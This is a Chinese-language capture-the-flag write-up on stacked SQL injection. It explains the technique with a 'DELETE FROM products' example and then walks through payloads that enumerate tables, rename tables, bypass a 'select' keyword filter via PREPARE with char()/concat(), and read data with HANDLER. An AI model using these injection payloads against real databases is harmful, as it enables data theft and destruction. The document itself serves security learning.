- 堆叠注入
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
-
题目:
输入1’报错
输入1’ # 正常回显
试一下1’ or 1=1 # 回显正常
order by查一下字段
order by 2#回显正常,order by 3#报错,存在2字段,
接下来试一下联合查询:1’ union select 1,2#,发现有正则表达式把常用的字段过滤了
换堆叠注入试一下 1’;show databases;# 成功回显
接下来就是查询表名 1’;show tables;#
存在两张表,分别看一下里面的内容
0’;show columns from words;#
0’;show columns from `1919810931114514`; #(对以数字为表名的表进行操作时,需要加上`符号)
发现里面有flag字段 ,但是因为这里有两张表,回显内容肯定是从words这张表回显的,所以我们要想办法让1919810931114514表里的内容回显,在别的师傅wp里学到的姿势:
方法一:
-
将words表改名为word1或者其他名字
-
将1919810931114514表改为words表
-
在新的words表里插入一列id
-
将flag列改名为data
payload:1’;rename table
words
toword1
;rename table1919810931114514
towords
;alter tablewords
add id int unsigned not Null auto_increment primary key; alert tablewords
changeflag
data
varchar(100);#
方法二:预处理语句+堆叠注入
预处理语句使用方式:
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
预定义语句也可以通过变量进行传递:
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
char(115,101,108,101,99,116)<----->‘select’
payload1:不使用变量
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
payload2:使用变量
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
payload3:只是用contact(),不使用char()
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
方法三:使用handler命令读取flag
1';handler `1919810931114514` open;handler `1919810931114514` read first#